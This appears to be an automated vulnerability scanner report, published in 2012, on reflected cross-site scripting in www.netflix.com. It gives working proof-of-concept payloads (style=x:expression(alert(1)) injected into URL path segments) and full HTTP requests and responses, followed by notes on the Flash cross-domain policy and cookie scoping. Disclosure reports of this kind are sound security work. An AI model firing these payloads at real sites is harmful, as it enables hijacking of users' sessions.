Report generated by XSS.Cx at Sat Sep 01 08:38:01 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.netflix.com

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1. Cross-site scripting (reflected)

1.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 2]

1.2. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 3]

1.3. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 4]

1.4. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [name of an arbitrarily supplied request parameter]

2. Flash cross-domain policy

3. Cookie scoped to parent domain

3.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

3.2. http://www.netflix.com/Default

3.3. http://www.netflix.com/JSON/ParamTrkData

3.4. http://www.netflix.com/Movie/The-Dark-Knight/70079583

3.5. http://www.netflix.com/layout/css/corporate.css

3.6. http://www.netflix.com/layout/css/global.css

3.7. http://www.netflix.com/opdply

4. Cookie without HttpOnly flag set

4.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

4.2. http://www.netflix.com/JSON/ParamTrkData

4.3. http://www.netflix.com/Movie/The-Dark-Knight/70079583

4.4. http://www.netflix.com/opdply

5. Password field with autocomplete enabled

6. Cross-domain Referer leakage

6.1. http://www.netflix.com/Default

6.2. http://www.netflix.com/Movie/The-Dark-Knight/70079583

7. Robots.txt file


1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The value of REST URL parameter 2 is copied into the name of an HTML tag attribute. The payload a80bd%20style%3dx%3aexpression(alert(1))%20ca7180f3466 was submitted in the REST URL parameter 2. This input was echoed as a80bd style=x:expression(alert(1)) ca7180f3466 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755a80bd%20style%3dx%3aexpression(alert(1))%20ca7180f3466/296/Comic_Books_and_Superheroes/642 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:33 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:34 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169634063; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:34 GMT; Path=/
Set-Cookie: nflxsid=124.1325169634063; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=124.dfbcecce-12f4-446f-9286-6e7c046676c7; Domain=.netflix.com; Path=/
Set-Cookie: promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140834071~~~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:34 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:34 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169634086~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:34 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2MzQwODc6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:34 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 42407
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016d45525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169634063, serverBeforeHtml: 1325169634092 };</script>
<meta h
...[SNIP]...
<link rel="canonical" href="http://www.netflix.com/SubGenreList/Action_Adventure552fe"style="x:expression(alert(1))"1a6e8429755a80bd style=x:expression(alert(1)) ca7180f3466/296/Comic_Books_and_Superheroes/642">
...[SNIP]...
1.2. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The value of REST URL parameter 3 is copied into the name of an HTML tag attribute. The payload d077a%20style%3dx%3aexpression(alert(1))%2084005aed3c1 was submitted in the REST URL parameter 3. This input was echoed as d077a style=x:expression(alert(1)) 84005aed3c1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296d077a%20style%3dx%3aexpression(alert(1))%2084005aed3c1/Comic_Books_and_Superheroes/642 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:45 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:45 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169645226; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:45 GMT; Path=/
Set-Cookie: nflxsid=119.1325169645226; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=119.913acf4f-6aab-47a5-869c-394093fd5d3a; Domain=.netflix.com; Path=/
Set-Cookie: promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140845232~~~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:45 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:45 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169645249~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:45 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2NDUyNDk6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:45 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 42380
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016645525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169645225, serverBeforeHtml: 1325169645253 };</script>
<meta h
...[SNIP]...
<link rel="canonical" href="http://www.netflix.com/SubGenreList/Action_Adventure552fe"style="x:expression(alert(1))"1a6e8429755/296d077a style=x:expression(alert(1)) 84005aed3c1/Comic_Books_and_Superheroes/642">
...[SNIP]...
1.3. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The value of REST URL parameter 4 is copied into the name of an HTML tag attribute. The payload a9080%20style%3dx%3aexpression(alert(1))%207e6190b352f was submitted in the REST URL parameter 4. This input was echoed as a9080 style=x:expression(alert(1)) 7e6190b352f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroesa9080%20style%3dx%3aexpression(alert(1))%207e6190b352f/642 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:49 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:50 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169650166; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:50 GMT; Path=/
Set-Cookie: nflxsid=107.1325169650166; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=107.55d78a4a-7b3f-4ab6-a667-aed0eeb361eb; Domain=.netflix.com; Path=/
Set-Cookie: promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140850173~~~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:50 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:50 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169650187~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:50 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2NTAxODc6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:50 GMT; Path=/
Vary: Accept-Encoding
Set-Cookie: NSC_ED1-xxx=ffffffff09c8017a45525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly
Content-Length: 42407

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169650165, serverBeforeHtml: 1325169650192 };</script>
<meta h
...[SNIP]...
<link rel="canonical" href="http://www.netflix.com/SubGenreList/Action_Adventure552fe"style="x:expression(alert(1))"1a6e8429755/296/Comic_Books_and_Superheroesa9080 style=x:expression(alert(1)) 7e6190b352f/642">
...[SNIP]...
1.4. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The name of an arbitrarily supplied request parameter is copied into the name of an HTML tag attribute. The payload c6cfd%20a%3dba4a4ff0a2aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c6cfd a=ba4a4ff0a2aa in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642?c6cfd%20a%3dba4a4ff0a2aa=1 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:24 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:25 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169625232; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:25 GMT; Path=/
Set-Cookie: nflxsid=113.1325169625232; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=113.a878bb82-d0d4-4a62-8bc9-c7b9c81f97a4; Domain=.netflix.com; Path=/
Set-Cookie: promo="51401915~0~1325203200000~c6cfd a=ba4a4ff0a2aa=1~51401915~1324993388112~51401915~1325140825244~c6cfd a=ba4a4ff0a2aa=1~~"; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:25 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:25 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169625261~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:25 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2MjUyNjE6OmM2Y2ZkIGE9YmE0YTRmZjBhMmFhPTE6"; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:25 GMT; Path=/
Vary: Accept-Encoding
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016045525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly
Content-Length: 42246

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169625232, serverBeforeHtml: 1325169625274 };</script>
<meta h
...[SNIP]...
<a href="http://www.netflix.com/SubGenreList/Action_Adventure552fe"style="x:expression(alert(1))"1a6e8429755/296/Comic_Books_and_Superheroes/642?c6cfd a=ba4a4ff0a2aa=1&idx=0&#list" onmouseover="window.status='5 Stars'; return true;">
...[SNIP]...
2. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.netflix.com

Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:31 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:39:32 GMT
Last-Modified: Tue, 20 Dec 2011 16:32:36 GMT
Content-Type: application/xml;charset=UTF-8
Content-Length: 89
Set-Cookie: VisitorId=002~e5af8d4b-5fa8-4cbc-8537-b980d304fd61~1325169572170~true~1325169572170~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:32 GMT; Path=/
Set-Cookie: nflxsid=105.1325169572170; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=105.22a9d860-498a-4a14-b940-9a7abd2e0fe1; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=64
Connection: Keep-Alive
Set-Cookie: NSC_ED1-xxx=ffffffff09c8017845525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<cross-domain-policy>
<allow-access-from domain="*.netflix.com"/>
</cross-domain-policy>
3. Cookie scoped to parent domain  previous  next
There are 7 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

3.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:29 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:39:30 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169569974; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:29 GMT; Path=/
Set-Cookie: nflxsid=104.1325169569974; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=104.40d91486-4e61-45f9-bc28-c8937ffee51a; Domain=.netflix.com; Path=/
Set-Cookie: promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140769998~~~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:29 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:30 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169570013~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:30 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzAwMTM6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:30 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 42131
